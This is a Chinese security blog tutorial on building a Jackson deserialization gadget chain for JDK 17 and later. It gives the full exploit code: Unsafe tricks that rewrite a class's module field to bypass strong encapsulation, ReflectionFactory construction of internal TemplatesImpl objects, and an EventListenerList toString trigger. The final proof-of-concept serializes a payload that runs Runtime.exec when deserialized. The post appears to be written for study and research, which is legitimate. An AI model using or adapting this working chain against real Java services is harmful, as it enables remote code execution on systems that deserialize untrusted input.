从零开始的高版本JDKJava反序列化学习——Jackson链

环境准备

我这里是 JDK17.0.10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.3.RELEASE</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
</dependencies>

利用链分析

这是 jdk8 版本的 jackson 反序列化链,感兴趣的师傅可以看我之前的分析文章:https://infernity.top/2025/03/05/Jackson%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import cn.org.unk.UnsafeTools;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class test2 {
public static void main(String[] args) throws Exception {
overrideJackson();
byte[] bytes = getshortclass("calc");
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

Object proxyObj = getPOJONodeStableProxy(templates);

POJONode pojoNode = new POJONode(proxyObj);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException, "val", pojoNode);

String a = serialize(badAttributeValueExpException);
//System.out.println(a);
unserialize(a);
}
//重写jackson
public static void overrideJackson() throws Exception {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}

//获取进行了动态代理的templatesImpl,保证触发getOutput
public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
return proxyObj;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

//一个短的命令执行class,用javassist写的
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("evil");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}
}

JDK 高版本的模块封装限制

如果直接在 jdk17 上运行上面的代码,会报错如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @2d363fb3
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
at javassist.ClassPool.toClass(ClassPool.java:1232)
at javassist.ClassPool.toClass(ClassPool.java:1090)
at javassist.ClassPool.toClass(ClassPool.java:1048)
at javassist.CtClass.toClass(CtClass.java:1290)
at test2.overrideJackson(test2.java:40)
at test2.main(test2.java:20)

异常核心是这句:

1
Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(...) accessible

意思是,代码想通过反射强行访问:ClassLoader#defineClass(...)

这个方法属于:java.lang.ClassLoader

java.lang 在 JDK 模块系统里属于:module java.base

但异常又说:module java.base does not "opens java.lang" to unnamed module

意思是:JDK 的 java.base模块没有把 java.lang 包开放给你的普通 classpath 代码,所以你不能再随便 setAccessible(true) 去访问它。

从 JDK 9 开始,Java 引入了 JPMS 模块系统;JDK 17 进一步强化了 JDK 内部 API 的强封装,默认不再允许大量反射访问 JDK 内部或非公开成员。OpenJDK 的 JEP 261 是模块系统的基础,JEP 403 则明确推进了 JDK 内部元素的强封装。

简单理解:

1
2
3
4
5
6
7
8
JDK 8:
很多反射 setAccessible(true) 可以直接绕过访问限制

JDK 9~15:
开始有模块系统,很多非法反射会报警告

JDK 16/17+:
限制变严格,很多以前能跑的反射代码直接报 InaccessibleObjectException

不允许访问的模块有:

1
2
3
java.lang.ClassLoader#defineClass、
java.lang.Class#private 字段、
String#value 等非 public 成员、还有许多不一一列举了。

以及常见的 JDK 内部 API 这些包名前缀:

1
2
3
4
sun.*
com.sun.*
jdk.*
jdk.internal.*

不过也有例外:sun.miscsun.reflect 这类“关键内部 API”仍然由 jdk.unsupported 模块导出/开放,JEP 403 明确提到它们仍可访问,其他 JDK 包则不会这样默认开放。

Unsafe 类

Unsafe 是位于 sun.misc 包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等。但它绕过了 Java 的安全机制,使用不当可能造成内存错误、程序崩溃或兼容性问题,因此普通业务代码中应尽量避免直接使用。

如下图所示,Unsafe提供的API大致可分为内存操作、CAS、Class相关、对象操作、线程调度、系统信息获取、内存屏障、数组操作等几类。

在Class相关部分主要提供Class和它的静态字段的操作相关方法,包含静态字段内存定位、定义类、定义匿名类、检验&确保初始化等。

1
2
3
4
5
6
7
8
9
10
11
12
// 获取给定静态字段的内存地址偏移量,这个值对于给定的字段是唯一且固定不变的
public native long staticFieldOffset(Field f);
// 获取一个静态类中给定字段的对象指针
public native Object staticFieldBase(Field f);
// 判断是否需要初始化一个类,通常在获取一个类的静态属性的时候(因为一个类如果没初始化,它的静态属性也不会初始化)使用。 当且仅当ensureClassInitialized方法不生效时返回false。
public native boolean shouldBeInitialized(Class<?> c);
// 检测给定的类是否已经初始化。通常在获取一个类的静态属性的时候(因为一个类如果没初始化,它的静态属性也不会初始化)使用。
public native void ensureClassInitialized(Class<?> c);
// 定义一个类,此方法会跳过JVM的所有安全检查,默认情况下,ClassLoader(类加载器)和ProtectionDomain(保护域)实例来源于调用者
public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);
// 定义一个匿名类
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);

在对象操作部分主要包含对象成员属性相关操作及非常规的对象实例化方式等相关方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 返回对象成员属性在内存地址相对于此对象的内存地址的偏移量
public native long objectFieldOffset(Field f);
// 获得给定对象的指定地址偏移量的值,与此类似操作还有:getInt,getDouble,getLong,getChar等
public native Object getObject(Object o, long offset);
// 给定对象的指定地址偏移量设值,与此类似操作还有:putInt,putDouble,putLong,putChar等
public native void putObject(Object o, long offset, Object x);
// 从对象的指定偏移量处获取变量的引用,使用volatile的加载语义
public native Object getObjectVolatile(Object o, long offset);
// 存储变量的引用到对象的指定的偏移量处,使用volatile的存储语义
public native void putObjectVolatile(Object o, long offset, Object x);
// 有序、延迟版本的putObjectVolatile方法,不保证值的改变被其他线程立即看到。只有在field被volatile修饰符修饰时有效
public native void putOrderedObject(Object o, long offset, Object x);
// 绕过构造方法、初始化代码来创建对象
public native Object allocateInstance(Class<?> cls) throws InstantiationException;

获取 Unsafe 类的实例

Unsafe 类的源码中,它的设计初衷就是整个 JVM 运行过程中只存在一个实例。

  • 私有构造函数Unsafe 的构造方法是 private 的,这意味着外部类无法通过 new Unsafe() 来创建对象。
  • 静态常量:它在内部定义了一个 private static final Unsafe theUnsafe = new Unsafe();。由于是 static final,这个变量在类加载时就会被初始化,且之后无法更改,保证了全局唯一性。

由于sun.misc.*仍然由 jdk.unsupported 模块导出/开放,所以我们可以通过反射来获取单例对象theUnsafe。

1
2
3
4
5
6
private static Unsafe getUnsafe() throws Exception{
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
return (Unsafe) field.get(null);
}

现在有了 Unsafe 类的实例之后,该如何利用它来打破 JDK17+ 的强封装module限制呢?

setAccessible

在 Java 中,setAccessible 是一个用于改变 Java 反射时对私有属性或方法访问限制的方法。它是java.lang.reflect.AccessibleObject类的一个方法,该类是 Field、Method 和 Constructor 等类的超类。setAccessible(true)方法允许绕过 Java 的访问控制检查,从而访问私有(private)或受保护(protected)的属性和方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// java/lang/reflect/Field.java
@Override
@CallerSensitive
public void setAccessible(boolean flag) {
AccessibleObject.checkPermission();
if (flag) checkCanSetAccessible(Reflection.getCallerClass());
setAccessible0(flag);
}

// java/lang/reflect/AccessibleObject.java
static void checkPermission() {
@SuppressWarnings("removal")
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
// SecurityConstants.ACCESS_PERMISSION is used to check
// whether a client has sufficient privilege to defeat Java
// language access control checks.
sm.checkPermission(SecurityConstants.ACCESS_PERMISSION);
}
}


// java/lang/System.java
@Deprecated(since="17", forRemoval=true)
public static SecurityManager getSecurityManager() {
if (allowSecurityManager()) {
return security;
} else {
return null;
}
}

审计setAccessible方法,首先调用 AccessibleObject 类的静态方法checkPermission(),该方法检查当前的安全策略是否允许改变访问控制;如果不允许,会抛出 SecurityException 。

接着,当设置非公共字段或方法的访问权限为 true 时,会调用Reflection.getCallerClass()方法获取调用setAccessible方法的类(不包括匿名内部类)。然后把类交给checkCanSetAccessible方法,这个方法检查调用setAccessible方法的类是否有权限改变访问控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// java/lang/reflect/AccessibleObject.java
private boolean checkCanSetAccessible(Class<?> caller,Class<?> declaringClass,boolean throwExceptionIfDenied) {
if (caller == MethodHandle.class) {
throw new IllegalCallerException(); // should not happen
}

Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();

if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;
if (!declaringModule.isNamed()) return true;

………………
}

跟进java.lang.reflect.AccessibleObject#checkCanSetAccessible方法,可以看到,callerModule 用于识别访问发起方所属的模块,而 declaringModule 则代表被访问成员定义类所在的模块,若二者满足以下任一条件则直接放行:

  1. 同模块访问:调用者与目标类位于同一模块。
  2. 核心特权:调用者来自核心模块(如 java.base)。
  3. 兼容模式:目标类位于未命名模块(即传统的 ClassPath 路径)。

因此,我们这里可以尝试利用 Unsafe 类来修改当前类的 module 属性为Object.class.getModule()来进行绕过。

这里利用 @unknown 写好的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package cn.org.unk;

import sun.misc.Unsafe;
import java.lang.reflect.Field;


public class UnsafeTools {

private static Unsafe getUnsafe() throws Exception{
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
return (Unsafe) field.get(null);
}

public static void bypassModule(Class clazz) throws Exception{
setFieldValue(clazz,"module", Object.class.getModule());
}

public static void setFieldValue(Object obj,Field field,Object value) throws Exception{
//通过 unsafe.objectFieldOffset(field) 获取该字段在内存中的物理偏移量,然后直接使用 putObject 往该内存地址写入数据。
Unsafe unsafe = getUnsafe();
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(obj, offset, value);
}

public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field declaredField = obj.getClass().getDeclaredField(fieldName);
setFieldValue(obj, declaredField,value);
}
}

回到最开始的报错,在overrideJackson()函数中有如下报错,

1
at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)

我们只需要在overrideJackson()里加一行即可绕过。 直接从内存层面将 javassist.util.proxy.SecurityActions 类的 module 字段修改为 Object.class.getModule()(即 java.base 核心模块)。 后面执行 setAccessible 时,JVM 会进入 checkCanSetAccessible 逻辑,此时 callerModule 已经被改成了 java.base 的模块,于是直接返回 true

1
2
3
4
5
6
7
8
9
//重写jackson
public static void overrideJackson() throws Exception {
UnsafeTools.bypassModule(Class.forName("javassist.util.proxy.SecurityActions")); //新加

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}

TemplatesImpl

下一个报错,

1
2
Exception in thread "main" java.lang.IllegalAccessError: class test2 (in unnamed module @0x311d617d) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x311d617d
at test2.getshortclass(test2.java:92) //CtClass superClass = pool.get(AbstractTranslet.class.getName());

代码试图直接访问AbstractTranslet类(位于 java.xml 模块的 com.sun.org.apache.xalan.internal...包下),JVM 发现这个包没有被导出,于是抛出 IllegalAccessError

那好,我就直接调用上面写的 UnsafeTools.bypassModule(test2.class),这样 JVM 就会认为我的 test2 类具有访问系统内部类的特权。

但实际上加上绕过代码还是会报相同的错,原因是setAccessible的校验类加载/继承的校验 是两个完全不同的阶段:

  1. setAccessible校验:这是 Java 代码层面的检查。当人为修改了 test2modulejava.basesetAccessible这种 API 会被骗过,认为你是“自己人”。
  2. IllegalAccessError(符号引用链接校验):这是 JVM 内核(C++ 层)在类链接阶段触发的。当你执行到包含 AbstractTranslet.class 的代码,或者生成的类 evil 试图继承 AbstractTranslet 时,JVM 的链接器(Linker)会根据其内部维护的模块拓扑表进行检查。
  • 即便我们在 Java 层篡改了 Class 对象里的 module 字段,JVM 底层 C++ 空间的ModuleEntry(真正的模块权限定义)并没有变
  • JVM 依然知道 java.xml 模块没有将该包导出给类 eviltest2 所在的 Unnamed Module。这种基于字节码指令和符号引用的硬性约束,是无法通过简单修改 Java 对象的字段来绕过的。

那这里我们只能不让 evil 类继承AbstractTranslet 类了。但是,在 Java 的 TemplatesImpl 链式漏洞利用中,被加载的类必须是 AbstractTranslet 的子类,否则加载过程中会抛出异常。我们再来一起复习一下。

JDK8

com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java

这里_name不能为null,_class要为 null 才会走到defineTransletClasses方法:

这里首先调用的 for 循环来遍历_bytecodes变量并将其赋值给_class数组,接着判断父类是否是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,如果是,则赋值数组下标_transletIndex,否则就抛出异常。也就是说,TemplatesImpl 的利用链所使用的恶意类是AbstractTranslet 的子类。

JDK17

当类不继承AbstractTranslet 时,会向_auxClasses 中 put 数据,因此还需要保证_auxClasses不为空,需要实例化 _auxClasses

就在同方法的上面,如果final int classCount = _bytecodes.length;大于 1,就会自动将_auxClasses赋值为 HashMap 的实例。也就是说,我们构造 payload 的时候,_bytecodes就不能只写一个恶意类了,还要随便再写一个类。

再往下看,由于没有进 if 语句,所以_transletIndex是默认的-1,为了不抛出 Error, 这里得通过反射修改_transletIndex 的数值,修改为多少呢?

再回到getTransletInstance()方法,这里执行了_class[_transletIndex].getConstructor().newInstance();这里就是 sink 点了,如果在_bytecodes里,把恶意类放到了第一个位置,那么在defineTransletClasses()方法里,_class[0]的位置将会是恶意代码的类。

答案就显而易见了,如果在bytecodes里,把恶意类放到了第一个位置,那么_transletIndex的值应该是 0

获取内部类对象

根据我们上面的分析,现在getshortclass方法和getTemplates方法应该这样修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//一个短的命令执行class,用javassist写的
public static byte[] getshortclass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("evil");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();

ClassPool pool = ClassPool.getDefault();
byte[] foo = pool.makeClass("Foo").toBytecode(); //随便一个类

UnsafeTools.bypassModule(test.class); //解决报错 at java.base/java.lang.reflect.Field.setAccessible
setValue(templates, "_name", "Infernity");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
setValue(templates, "_bytecodes", new byte[][] {bytes, foo});
setValue(templates, "_transletIndex", 0);
return templates;
}

但是在获取TemplatesImpl的实例的时候,还是包了模块封装的错,因为UnsafeTools.bypassModule();只能解决setAccessible的报错, 不能解决 “跨模块构造器生成” 的限制。

还记得上文说sun.reflect.*是默认可以被访问的吗?这里用 unknown 写好的两个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package cn.org.unk;

import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Util17 {

// 绕过隔离机制
static{
try {
UnsafeTools.bypassModule(Util17.class);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
//From Boogipop
//https://boogipop.com/2023/03/21/TCTF2022%20_%20Hessian-onlyJdk/
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception{
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
…………
}

代码的关键在于 sun.reflect.ReflectionFactory。这是 JDK 内部使用的一个类(非公开 API),主要用于实现 Java 序列化(Serialization) 机制。

在 Java 序列化中,当一个对象被反序列化时,如果该类实现了 Serializable 接口,JVM 需要一种方式来创建该类的实例,而不调用该类本身的构造函数。它只会调用该类向上追溯到的第一个非序列化父类的无参构造函数。而ReflectionFactory 提供了实现这一行为的底层工具。

createWithConstructor 方法:

获取父类构造器

1
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

它首先获取指定的 constructorClass(通常是父类或 Object)的构造函数。

生成伪造的构造器

1
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

这是最神奇的一步,newConstructorForSerialization 会创建一个新的构造器对象。这个构造器在调用时:

  • 内存分配是按照 classToInstantiate(你想创建的类)的大小进行的。
  • 但执行的构造逻辑却是 objCons(父类的构造逻辑)。
  • 它完全跳过了classToInstantiate及其所有子类构造函数的执行。

实例化

1
return (T) sc.newInstance(consArgs);

调用这个特殊的构造器,返回一个 classToInstantiate 类型的实例, 最后 (T) 是强制类型转换。

createWithoutConstructor 方法:

这是对上面的简化封装。

  • 它将 Object.class 作为 constructorClass 传入。
  • 因为 Java 中所有的类都继承自 Object,而 Object 都有一个无参构造函数。
  • 结果:创建了 classToInstantiate 的对象,但没有运行该类定义的任何构造代码。

为什么它能创建“任意”类的对象?

通常情况下,我们创建对象受限于以下约束,而这段代码全部绕过了它们:

  1. 绕过私有构造函数:即使类的构造函数是 private 的,这段代码也不会调用它,因此不受访问修饰符的限制。
  2. 无需默认构造函数:目标类不需要有无参构造函数,甚至不需要有任何能访问到的构造函数。
  3. 绕过初始化逻辑:如果某个类的构造函数中抛出了异常,或者有非常复杂的逻辑(比如连接数据库),使用这种方法可以完全跳过这些逻辑,直接在堆内存中划出一块该类大小的空间并返回。

有了这两个方法,就可以绕过限制,获取TransformerFactoryImplTemplatesImpl的对象了。

1
2
3
4
5
6
7
8
9
10
11
12
13
public static Object getTemplates(byte[] bytes) throws Exception {
Object templates = Util17.createWithoutConstructor(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));
Object transformerFactoryImpl = Util17.createWithoutConstructor(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"));

ClassPool pool = ClassPool.getDefault();
byte[] foo = pool.makeClass("Foo").toBytecode(); //随便一个类

Util17.setFieldValue(templates, "_name", "Infernity");
Util17.setFieldValue(templates, "_tfactory", transformerFactoryImpl);
Util17.setFieldValue(templates, "_bytecodes", new byte[][] {bytes, foo});
Util17.setFieldValue(templates, "_transletIndex", 0);
return templates;
}

BadAttributeValueExpException

由于badAttributeValueExpException这里也使用了setValue(badAttributeValueExpException, "val", pojoNode);,这里直接换成Util17.setFieldValue

但是还是报错:Exception in thread “main” java.lang.IllegalArgumentException: Can not set java.lang.String field javax.management.BadAttributeValueExpException.val to com.fasterxml.jackson.databind.node.POJONode

这是因为在 jdk17,val 写死了 String 类型。而在 jdk8 是private Object val;, 类型为 Object

退一万步来说,就算 val 的类型还是 Object,还是不会成功,原因如下:

这是 JDK8 中 badAttributeValueExpException类的readObject方法:

这是 JDK17 中 badAttributeValueExpException类的readObject方法:

可以看到高版本 jdk 中已经没有valObj.toString()了,也就是说高版本badAttributeValueExpException调用任意类 toString 这条 gadget 已经失效了,我们得另寻他法。

EventListenerList

我之前还写过一篇文章,EventListenerList 调用任意类 toString:

https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString

感兴趣的师傅们可以再去看看,这里直接把函数搬过来:

1
2
3
4
5
6
7
8
9
10
11
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) Util17.getFieldValue(undomanager, "edits");
vector.add(obj);

Util17.setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}

最终 POC

至此,jdk17+ 的Jackson链构造完成🎉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import cn.org.unk.UnsafeTools;
import cn.org.unk.Util17;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Vector;

public class test2 {
public static void main(String[] args) throws Exception {
overrideJackson();
byte[] bytes = getshortclass("calc");
Object templates = getTemplates(bytes);

Object proxyObj = getPOJONodeStableProxy(templates);

POJONode pojoNode = new POJONode(proxyObj);

EventListenerList list = getEventListenerList(pojoNode);

String a = serialize(list);
System.out.println(a);
unserialize(a);
}

public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();

//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) Util17.getFieldValue(undomanager, "edits");
vector.add(obj);

Util17.setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}

//重写jackson
public static void overrideJackson() throws Exception {
UnsafeTools.bypassModule(Class.forName("javassist.util.proxy.SecurityActions")); //新加

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
}

//获取进行了动态代理的templatesImpl,保证触发getOutput
public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
return proxyObj;
}

public static Object getTemplates(byte[] bytes) throws Exception {
Object templates = Util17.createWithoutConstructor(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));
Object transformerFactoryImpl = Util17.createWithoutConstructor(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"));

ClassPool pool = ClassPool.getDefault();
byte[] foo = pool.makeClass("Foo").toBytecode(); //随便一个类

Util17.setFieldValue(templates, "_name", "Infernity");
Util17.setFieldValue(templates, "_tfactory", transformerFactoryImpl);
Util17.setFieldValue(templates, "_bytecodes", new byte[][] {bytes, foo});
Util17.setFieldValue(templates, "_transletIndex", 0);
return templates;
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

//一个短的命令执行class,用javassist写的
public static byte[] getshortclass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("evil");
// CtClass superClass = pool.get(AbstractTranslet.class.getName());
// clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}
}

参考文章:https://h3rmesk1t.github.io/2024/10/23/Unsafe%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6/

https://github.com/un1novvn/Java-unser-utils-17/

https://www.cnblogs.com/Chary/articles/19487520


从零开始的高版本JDKJava反序列化学习——Jackson链
http://example.com/2026/05/20/从零开始的高版本JDKJava反序列化学习——Jackson链/
作者
Infernity
发布于
2026年5月20日
许可协议